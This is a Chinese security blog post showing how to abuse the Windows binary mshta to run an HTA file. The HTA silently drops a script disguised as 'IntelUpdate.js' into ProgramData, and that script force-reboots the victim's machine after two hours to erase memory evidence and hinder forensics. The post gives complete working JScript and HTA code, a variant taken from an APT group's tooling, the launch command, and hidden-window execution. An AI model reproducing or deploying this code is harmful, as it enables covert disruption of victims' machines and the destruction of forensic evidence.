Bu1'Blog

如果能控制粗鄙的狂喜,就不会有深入骨髓的悲伤。

0%

通过白名单程序mshta执行hta文件来设置自动重启任务

目的:通过加载hta文件使得受害主机两个小时后自动重启,从而清除内存痕迹防止取证。

0x01 编写js文件

通过js来设置定时任务,网上找到源码修改的,实际上测试的时候这个会有弹窗而且可以通过shutdown -a直接取消掉定时关机任务。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function run(str){
try{
var objShell = new ActiveXObject("wscript.shell");
objShell.Run(str);
objShell=null;
}catch(e){
tipAlert({"title":"提示","msg":"错误"+e+"<br>"});
}
}

//设备关机
function shut_down(){
run("shutdown -r -t 7200");
}
shut_down()

学习专业组织的做法,在绿盟关于SIDECOPY组织的APT报告中提到了他们所使用的代码。

1
2
3
4
var ShAllWeAccepTheChallenge = new ActiveXObject('WScript.Shell');
WScript.Sleep(7200000);
var executeMyScript = ShAllWeAccepTheChallenge.Exec('cmd.exe /k shutdown /r /t 0');
executeMyScript.StdIn.Close();

经过测试这种方法更优,当程序执行到WScript.Sleep后会直接挂起,在后台静默等待(从任务管理器中可以看到wscript.exe进程),等待时间结束后自动调用cmd执行。由于这里的shutdown设置的是t=0所以cmd闪屏一下后直接就自动重启了。

如果用户点击,整个过程是无感的,没有弹窗也没有别的提示,只有在最后关机的阶段才会闪一下命令弹窗。如果想要提前关闭,可以手动终结掉wscript.exe进程。

0x02 编写hta文件

代码有点烂=.=,执行hta后释放一个IntelUpdate.js文件,然后通过加载IntelUpdate.js文件实现定时重启。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<html>
<head>
<script language="jscript">
function IntelUpdate()
{
var fso, f1, ts, s;
var ForReading = 1;
fso = new ActiveXObject("Scripting.FileSystemObject");
f1 = fso.CreateTextFile("C:\\ProgramData\\IntelUpdate.js", true);
f1.WriteLine("function shut_down(){");
f1.WriteLine(" var ShAllWeAccepTheChallenge = new ActiveXObject('WScript.Shell');");
f1.WriteLine(" WScript.Sleep(7200000);");
f1.WriteLine(" var executeMyScript = ShAllWeAccepTheChallenge.Exec('cmd.exe /k shutdown /r /t 0');");
f1.WriteLine(" executeMyScript.StdIn.Close();");
f1.WriteLine("}");
f1.WriteLine("shut_down()");
f1.WriteBlankLines(1);
f1.Close();
}
IntelUpdate()
var cmd = new ActiveXObject("WScript.Shell");
cmd.run("C:\ProgramData\IntelUpdate.js");
cmd = null;
</script>
</head>
<body>
</body>
</html>

本地同目录加载

1
mshta.exe "$pwd\test.hta"

隐藏执行(看上去有点傻(: _ ),当做个笔记吧T.T

run后面可以使用1和0来决定是否显示窗口

1
2
3
4
var cmd = new ActiveXObject("WScript.Shell");
cmd.run("C:\\tmp\\test.hta",0);
cmd = null;
window.close();

0x03 参考